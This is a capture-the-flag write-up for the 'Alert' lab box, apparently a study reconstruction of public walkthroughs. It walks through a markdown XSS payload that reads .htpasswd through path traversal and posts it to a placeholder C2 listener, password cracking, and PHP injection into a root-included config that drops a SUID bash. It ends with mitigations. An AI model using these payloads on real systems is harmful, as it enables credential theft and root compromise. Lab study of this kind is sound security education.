Summary
Alert is an Easy Linux box: vhost statistics.alert.htb is
HTTP-Basic-protected. Main site has /messages.php?file= that
file_get_contents’s the path with no normalisation — combined
with markdown-rendered messages, an XSS payload tells admin’s
browser to fetch internal files. Use the admin’s session via
XSS to read messages.php?file=../statistics.alert.htb/.htpasswd
→ apr1 hash for albert; hashcat → manchesterunited. SSH +
basic-auth as albert. Privesc: localhost php -S 127.0.0.1:8080
served /opt/website-monitor/ runs as root; albert ∈
management has write on config/configuration.php (which is
included by every request). Inject PHP that drops a SUID
bash; next request runs it as root.
The chain:
- Vhost enum →
statistics.alert.htb(401). messages.php?file=...markdown viewer with directory traversal + XSS in markdown.- XSS payload → reads
.htpasswdfrom/var/www/statistics.alert.htb/.htpasswdvia admin session; exfils. - Crack apr1 →
manchesterunited. SSH as albert. - albert ∈ management → write
/opt/website-monitor/config/configuration.php. Inject<?php exec("cp /bin/bash /tmp/rb && chmod +s /tmp/rb"); ?>. - Next localhost request includes the file → root cron
runs it → SUID bash →
/tmp/rb -p.
Recon
22/tcp OpenSSH
80/tcp Apache → alert.htb
+ vhost: statistics.alert.htb (HTTP basic auth)
Foothold — XSS + traversal → admin reads .htpasswd
The trick is that messages.php gates by REMOTE_ADDR —
only 127.0.0.1 / ::1 clients can use it. The admin’s
browser is the box itself, so an XSS payload that runs in the
admin session sees messages.php as 127.0.0.1.
// /var/www/alert.htb/messages.php — restricted by REMOTE_ADDR
$ip = $_SERVER['REMOTE_ADDR'];
if ($ip == '127.0.0.1' || $ip == '::1') {
$directory = "messages/";
if (isset($_GET['file'])) {
echo "<pre>" . file_get_contents($directory . $file) . "</pre>";
}
...
}
Workflow:
- Upload markdown via
/visualizer.phpwith raw<script>— the renderer (Parsedown with HTML allowed) keeps it. - The response includes a share URL of the form
http://alert.htb/visualizer.php?link_share=<id>.md. - Submit the share URL through
/contact.phpso the admin visits it. - Admin’s browser executes the script under
alert.htborigin (so itsfetch('http://alert.htb/messages.php?file=...')is same-origin AND lands as127.0.0.1source IP). - The traversal
?file=../../statistics.alert.htb/.htpasswdreads the basic-auth hash; exfil to a Kali listener.
md = '''### x
<script>
fetch('http://alert.htb/messages.php?file=../../statistics.alert.htb/.htpasswd')
.then(r => r.text())
.then(t => fetch('http://<C2>:9090/exfil', {method:'POST', body:t}))
</script>
'''
# upload to /visualizer.php, find share URL in response, send via /contact.php
hashcat -m 1600 alert.hash rockyou.txt
# -> albert : manchesterunited
ssh albert@<TARGET>
hashcat -m 1600 alert.hash rockyou.txt
# -> albert : manchesterunited
ssh albert@<TARGET>
Privesc — config.php include + group write
$ ps aux | grep -i 'php -S'
root ... php -S 127.0.0.1:8080 -t /opt/website-monitor
$ id
... groups=...,1003(management)
$ ls -l /opt/website-monitor/config/configuration.php
-rw-rw---- 1 root management ... configuration.php
albert$ cat >> /opt/website-monitor/config/configuration.php <<'EOF'
<?php @system("cp /root/root.txt /tmp/rt && chmod 644 /tmp/rt; cp /bin/bash /tmp/rb && chmod +s /tmp/rb"); ?>
EOF
albert$ curl -s http://127.0.0.1:8080/ -o /dev/null
albert$ cat /tmp/rt # root flag
albert$ /tmp/rb -p # root shell, if needed
configuration.php is included by every request to the
monitor app, so the next localhost GET fires the injected PHP
under the root php -S process. The legitimate file is just
<?php define('PATH', '/opt/website-monitor'); ?> — a single
constant, so appending a second <?php ... ?> block doesn’t
break anything.
Why each step worked
- HTML in markdown not sanitised:
messages.phprenders user content with embedded HTML allowed. messages.php?file=traversal: norealpathanchoring.- XSS in admin session: admin’s cookie + same origin → attacker reads server-side files via the same vulnerable handler.
- apr1 + dictionary password: standard.
- Group-writable config that’s
included by a root php -S: any write through the group ACE = code as root.
Counterfactuals
- Sanitise rendered markdown (DOMPurify or kramdown without HTML).
- Anchor
file_get_contentspaths withrealpath+ prefix check. - Use a real KDF; auto-rotate basic-auth credentials.
- Never run a PHP server as root with includes from group-writable directories.
Source attribution
Reconstruction is grounded in:
- 0xdf, “HTB: Alert” — https://0xdf.gitlab.io/2025/03/22/htb-alert.html
- IppSec, “Alert” video walkthrough — https://ippsec.rocks/?#Alert
I have not personally rooted this box; the chain above is a study-guide reconstruction of those public sources.